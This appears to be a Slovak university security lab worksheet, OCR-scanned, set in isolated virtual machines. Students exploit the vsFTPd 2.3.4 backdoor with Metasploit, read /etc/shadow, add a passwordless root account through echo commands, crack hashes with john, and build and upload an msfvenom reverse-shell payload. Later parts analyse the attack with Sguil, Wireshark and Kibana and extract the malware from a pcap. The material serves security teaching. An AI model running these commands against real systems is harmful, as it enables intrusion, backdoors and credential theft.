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Poziadavky

e Topoldgia v GNS3
e  UNIZA VPN (Ak pracujeme mimo KIS)
e Internetové pripojenie

Instrukcie a scenar

V tomto cvieni vyuzijeme zranitelnost ndjdent z minulého cvi¢enia pomocou nastroja metasploit framework.
Pomocou zranitelnosti, ktoru vyuzijete sa dostanete z Kali-Linux na Metasploitable zariadenie vytvorite
backdoor pomocou pridania nového G¢tu a stiahnete si /etc/shadow. TaktieZ si vytvorite malware na zariadeni
Kali Linux, ktory potom nahrate do webového adresara na zariadeni Metasploitable. V dalSej ¢asti cvicenia si
na zariadeni Security Onion prezrieme logy pomocou nastrojov Sguil, Wireshark, Kibana a zistime, aké kroky
vykonal utocnik k ziskaniu suboru. Napokon v poslednej €asti cvicenia si stiahnete malware, na zariadenie
CyberOps Workstation a budete analyzovat s nim spojené vygenerované hlasenia v Sguil-e, a tiez extrahovat
samotny malware na zariadeni Security Onion z pcap suboru.

Toto laboratérne cvicenie vzniklo na zdklade tohto oficidlneho Netacad labu a jeho doplnenim o redlne
generovanie Utokov a analyzu redlnych dat, a nie demo udajov:

e 27.2.10 — Extract an Executable from a PCAP
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Pouzivatelia
Nazov Meno Heslo
KaLl Linux
kali kali
METASPLOITABLE
msfadmin msfadmin
SECURITY ONION
analyst cyberops
CYBEROPS WORKSTATION
analyst cyberops

Cast 0: Priprava

V Casti 2 budete vykonavat analyzu Utoku, ktory zrealizujete v €asti 1, preto je potrebné, aby ste si na zariadeni
Security Onion zapli nastroj Sguil pre monitorovacie rozhranie seconion-eth0. Security Onion vyuzivate ten,
na ktorom ste si nakonfigurovali Security Onion Setup.

Upozornenie: Ak pracujete vo VirtualBox-e (bez akejkolvek GNS3 nadstavby), tato poznamka sa vas netyka.

Cast 1: Kali Linux

V predchéadzajuicom cviteni sme zistili, Ze zariadenie Metasploitable obsahuje zranitelnost vsFTPd version
2.3.4 backdoor. V tomto cviceni vyuZijeme tuto zranitelnost pomocou nastroja metasploit framework.
Zaznamenavajte si vSetky vystupy pre kontrolu spravnosti riesenia.

1. Nastavenie nastroja metasploit framework na vyuzZitie zranitelnosti
a. Otvorte si termindl v Kali Linux a poZite prikaz pre spustenie metasploit framework:
i. Prikaz: msfconsole
ii. Spustenie bude trvat dlhsie
b. Poutzite prikaz na hladanie modulu, ktory je priradeny pre zranitelnost vsFTPd
i. Prikaz: search vsftpd
c. NavyuZivanie modulov z databdzy sa pouZiva prikaz: use <cesta k modulu>
i. Spustite dany modul pre zranitelnost vsftpd
ii. Prikaz: use exploit/unix/ftp/vsftpd 234 backdoor
d. Nasledne nastavite cielového hostitela v naSom pripade Metasploitable IP adresu. To
docielite pomocou prikazu: set rhosts <IP adresa Hostitela>
i. Prikaz: set rhosts 192.168.3.2
e. Nasledne, ked mate nastaveného hostitela pouzijete prikaz exploit pre vyuZitie zranitelnosti
i. Prikaz: exploit
ii. Pripadne si mdZete overit nastavenie pomocou prikazu show options
f.  Vysledok prikazu exploit (zariadenie Metasploitable musi byt zapnuté a pouzivatel
msfadmin musi byt prihlaseny):
i. Pomocou prikazu exploit vstupite do terminalu zariadenia Metasploitable
ii. Poutzite prikazy:
e who -u:zobrazia savam pouzivatelia prihlaseni do systému
e whoami : zobrazi sa vam pod akym pouzivatelom ste prihlaseny
e hostname : zobrazi sa vdm ndzov zariadenia, ktory je dany zariadeniu
e ifconfig:zobrazia savam informacie o rozhraniach zariadenia
g. Ziskanie Uplnej kontroly nad zariadenim Metasploitable
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h. Ako prvé si zobrazte subor /etc/shadow
i. Scat /etc/shadow
i. Skopirujte si text a vloZte ho do suboru
/home/kali/Documents/shadowMetasploitable.txt
i. UloZte si tento subor
j.  Ako dalsi prikaz v terminali Kali Linux-u pouZite:
i. Scat /home/kali/Documents/shadowMetasploitable.txt | grep root
e Dvojbodky (:) delia riadok na 7 poli:
e root: je prihlasovacie meno
e 515/avpfBJ1Sx0z8w5UF9lv./DRIEILId. : je zasifrované heslo
e Dalsich 6 poli definuje konfiguraciu hesla, napriklad ddtum poslednej
zmeny, minimalny a maximalny vek hesla a ddtum vyprsania
platnosti hesla. Posledné pole je vyhradené pre buduce pouZitie
k. Nasledne sa vratime do ziskaného session pre zariadenie Metasploitable a vloZime
nového poufZivatela bez hesla do /etc/shadow
I.  Pre pridanie pouzivatela pouzijeme prikaz:
i. Secho “myroot::14747:0:99999:7:::” >> /etc/shadow
m. Nasledne overime ¢i sa nam poufZivatela podarilo pridat
i Scat /etc/shadow | grep myroot
n. Dalej priddme myroot pouzivatela do stboru /etc/password
i. Secho "myroot:x:0:0:root:/root:/bin/bash" >> /etc/passwd
0. Overime ¢i sa Uspesne pridal do suboru
i Scat /etc/passwd | grep myroot
p. Nasledne nds pouzivatel myroot ma Uplnu kontrolu nad zariadenim Metasploitable
g. Overte ¢isa vam da prihlasit do zariadenia Metasploitable pomocou pouzZivatela myroot,
v Kali Linux terminali vykonajte prikazy:
i. Stelnet 192.168.3.2
ii. Ako Metasploitable login, zadajte novo vytvoreného pouZivatela myroot
2. PoutZite nastroj john na odsifrovanie hesiel, ktoré ste si uloZili do stiboru
/home/kali/Documents/shadowMetasploitable.txt

a. Spustite nastroj john a odsifrujte hesla zo suboru
/home/kali/Documents/shadowMetasploitable.txt

i. Sjohn /home/kali/Documents/shadowMetasploitable.txt

ii. Pravdepodobne sa vam nestihni odsifrovat vsetky hesla. Toto je len ukazka ako
moZete ziskat dalSie hesla ku zariadeniu

3. Vytvorte a nahrajte malware na Metasploitable
a. Vtermindli Kali Linux vytvorte malware pomocou metasploit framework

i. Vytvor Windows malware, ktory by sa po spusteny pripojil na IP adresu a port
utocnika. V nasom pripade bude Utocnik na zariadeni Kali Linux

ii. Nasledujuci prikaz vytvori malware s ndzvom game.exe a uloZi ho do aktudlneho
adresdra v ktorom sa nachddzate

iii. $ msfvenom -p windows/meterpreter/reverse tcp
LHOST=192.168.2.2 LPORT=8080 -f exe -0 ./game.exe

b. Spustite python server na Kali Linux v adresari, v ktorom sa nachddza aj vas vytvoreny
malware
i. $ python -m http.server
c. Zterminalu Kali Linux sa dostarte do Metasploitable, bud pomocou exploitu, ktory ste uz
predtym pouZili v tomto cviceni, alebo pomocou novo vytvoreného pouzivatela myroot

i. Po uUspeSnom pripojeni na zariadenie Metasploitable, prejdite do adresdra
/var/www
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ii. Pomocou prikazu wget 192.168.2.2/game.exe, stiahnite vas malware do
aktualneho adresara, v ktorom sa nachadzate

Cast 3: Prezrite si logy
Teraz prezrite logy z pohladu SOC analytika pre ur¢enie, ako bol subor kompromitovany.

Poznamka: Ak by to bola skutoc¢na siet, bolo by dobré pre pouzivatelov ,analyst” a ,,root” zmenit heslo
a splnit suc¢asnu bezpecnostnu politiku. Pocas prace si vytvarajte zdznam aktivity, aby sme mohli overit
spravnost riesenia.

Upozornenie: Ak pracujete vo VirtualBox-e (bez akejkolvek GNS3 nadstavby), tuto ¢ast nevykonavate, ale
odporuca sa ju precitat.

1. Prezrite alerts v nastroji Sguil
a. Vstupte do Security Onion
i. Prihlaste sa s pouZivatefom ,analyst” a heslom ,cyberops”
ii. Otvorte Sguil a prihlaste sa
iii. Kliknite ,Select ALL” a potom ,,Start SGUIL”
iv. Prezrite si udalosti v stfpci ,Event Message”
e Jeden ztychto je ,,GPL ATTACK_RESPONSE id check returned root”
e Tato sprava indikuje, Ze pristup na ,root”“ mohol byt ziskany poc¢as Gtoku
o IP Metasploitable odoslala pristup na ,root” IP Kali Linux-u
v. Vyberte ,Show Packet Data“ a ,,Show Rule” checkbox pre zobrazenie
alertu s detailnymi informaciami
vi. V priklade nizSie st pouzité ,Alert ID 3.220" a korelovana udalost, vase , Alert ID”
bude vsak pravdepodobne rozdielne Cislo
vii. Kliknite pravym tlacidlom mysi na cislo pod nadpisom ,,CNT“ a vyberte
»,View Correlated Events”
e V novej karte, kliknite pravym ,Alert ID“ pre jeden z ,GPL
ATTACK_RESPONSE id check returned root” alerts a vyberte ,Transcript”
e Ako priklad je pouzity Alert ID 3.8707
e Prezrite transkripty pre vSetky alerty
o Posledny alert v okne pravdepodobne zobrazuje transakciu
medzi Kali (Utoénikom) a Metasploitable (obetou) pocas Utoku
o Vysvetlite, ¢o sa stalo pocas utoku ?
2. Prejdite do programu Wireshark
a. Vyberte alert, ktory Vam poskytne transkript z predchadzajidceho kroku
i. Kliknite pravym na Alert ID a vyberte ,Wireshark”
b. Hlavné okno Wireshark zobrazuje 3 zobrazenia paketu
i. Pre zobrazenie vsetkych paketov v TCP konverzacii, kliknite pravym na ktorykolvek
paket a vyberte ,Follow” >, TCP Stream*”
ii. Popiste ¢o je mozné pozorovat, vzhladom na cerveny a modry text.
c. Zavrite ,Wireshark” ked skoncite s prezeranim informacii
3. Prezrite alert v Kibane
a. Ak vam sguil nezachytil alert ,,GPL ATTACK_RESPONSE id check returned root”, tak je tento
alert mozné najst v Kibane. Aj v pripade, Ze vam ho sguil zachytil, zrealizujte aj tuto analyzu
v inom nastroji - Kibana.
b. Otvorte si Kibanu a prihlaste sa prihlasovacimi udajmi: ,analyst” a heslo ,,cyberops”
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c. Prekliknite sa do kategdrie NIDS, ndjdite alert ,,GPL ATTACK_RESPONSE id check returned
root” a odpovedzte na otazky
i. Do akej kategorie patri alert?
ii. Do akej klasifikacie patri alert?
iii. Aka je zdrojova a cielova IP adresa?
iv. Aky je zdrojovy a cielovy port?
v. Aké dalSie informacie mozZete o alerte z Kibany vycitat?

Cast 4: Wireshark — Extrahujte Malware

V nasledujucej Casti si budete stahovat na zariadenie CyberOps Workstation skodlivy stbor, ktory ste nahrali
na server Metasploitable v 1. ¢asti. Nasledne budete pracovat na zariadeni Security Onion, kde sa pozriete na
hlasenia v Sguil-e, ktoré boli vygenerované v dosledku stahovania $kodlivého suboru, a urobite ich analyzu.
Dalej budete pracovat s nastrojom Wireshark na zariadeni Security Onion, kde budete analyzovat a extrahovat
samotny malware z pcap suboru.

Upozornenie: Ak pracujete vo VirtualBox-e (bez akejkolvek GNS3 nadstavby), tuto ¢ast nevykonavate, ale
odporuca sa ju precitat.

1. Priprava
a. Na Security Onion zapnite tcpdump na rozhrani ethO (preskimajte pouzité prepinace pre
tcpdump):
i. $ tcpdump -i ethO -w malware.download.pcap
b. Prejdite na CyberOps Workstation a stiahnite si malware
i. Otvorte prehliadac a stiahnite malware zo servera Metasploitable zo
stranky http://192.168.3.2/game.exe
c. Nasledne prejdite spat na Security Onion a vypnite tcpdump, ktory vam bezi v terminali,
pomocou klaves ctrl+c
2. Sguil - Analyza
a. Vsuvislosti so stahovanim stiboru vykonanom v 1. bode, vdm boli vygenerované tri alerty
v nastroji Sguil, ktoré detekovali stiahnutie Skodlivého suboru
i. O aké hlaseniaide?
ii. Prezrite jednotlivé pravidld, na zaklade ktorych boli tieto hlasenia vygenerované.
iii. Co dokazete zistit z vygenerovanych hldseni?
3. Analyza pcap suboru
a. Otvorte malware.download.pcap cez terminal

i. $ wireshark malware.download.pcap

b. Subormalware.download.pcap obsahuje zachytenie paketov stvisiace so stahovanim
Skodlivého softvéru. Pcap obsahuje vsetky pakety odoslané a prijaté pocas behu tcpdump

c. Vyberte paket s poziadavkou GET na /game.exe v odchytenej prevadzke, a rozbalte si http
protokol na zobrazenie

d. Tri pakety nad nasim vybratym predstavuju TCP handshake. Vybraty paket zobrazuje
poZiadavku na subor Skodlivého softvéru.

e. Pretoze HTTP beZi cez TCP, je mozné pouzit funkciu Sledovat TCP Stream na preskimanie
transakcii cez TCP. Vyberte prvy z troch TCP paketov - SYN paket,a kliknite nan pravym
tlac¢idlom mysi a vyberte Follow > TCP Stream
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Wireshark zobrazi dalSie okno s podrobnostami o celom zvolenom toku TCP

Co predstavuju tie symboly zobrazené v okne Follow TCP Stream? Preco obsah stboru nie je
Citatelny?

Medzi symbolmi je vSak predsa niekolko ¢itatelnych slov/fragmentov. Preco su tam?
Kliknutim na tlacidlo Close v okne Follow TCP Stream sa vratite do Wireshark suboru
malware.download.pcap

4. Extrahujte stiahnuty stubor z PCAP

a.

Pretoze zachytené subory obsahuju vsetky pakety suvisiace s prevadzkou, PCAP subor zo
stahovania mozno poutzit na ziskanie predtym stiahnutého stboru. Ak chcete pouzit
Wireshark na extrahovanie suboru - skodlivého softvéru, postupujte podla nasledujucich
krokov

V pakete s GET poZiadavkou na Skodlivy subor vmalware.download.pcap si vS§imnite, Ze
poziadavka HTTP GET bola vygenerovand z 192.168.3.4 na 192.168.3.2.

S vybratym paketom poZiadavky GET prejdite v hlavhom menu Wireshark na File > Export
Objects > HTTP

Wireshark zobrazi vSetky objekty HTTP pritomné v TCP toku, ktory obsahuje pozZiadavku GET.
V tomto pripade je v zazname pritomny iba subor game.exe. Zobrazenie suboru potrva
niekolko sekund

V okne HTTP object list vyberte subor game.exe a kliknite na Save v spodnej Casti obrazovky
Miesto uloZenia vyberte adresar /fhome/analyst a nazov siiboru mozete nastavit na
malware.exe

Vratte sa do okna termindlu a skontrolujte, ¢i bol sibor ulozeny. Zmerite adresar na
priecinok /home/analyst a pomocou prikazu 1s -1 vypiste subory v prie€inku

Prikaz file poskytuje informacie o type suboru. Pomocou prikazu file sa dozviete nieco viac
o Skodlivom subore

Ako je uvedené vyssie, skutocne sa jedna o spustitelny sibor OS Windows

Aky by bol pravdepodobny dalsi krok v procese analyzy skodlivého softvéru pre
bezpecnostného analytika?

5. VirusTotal

™ o o T

Dany extrahovany subor nahrajte na stranku virustotal.com zo zariadenia Security Onion
V lavom hornom rohu kliknite na Applications > Internet > Chromium Web Browser
Prejdite na stranku: virustotal.com

Nahrajte tam extrahovany subor a pockajte si na vysledky

Co ste sa o stibore dozvedeli a aké vysledky ste obdrzali? Je sibor naozaj $kodlivy?

Vytvorené v ramci projektu KEGA 026TUKE-4/2021 Katedra informacnych sieti, FRI, UNIZA



	Požiadavky
	Používatelia

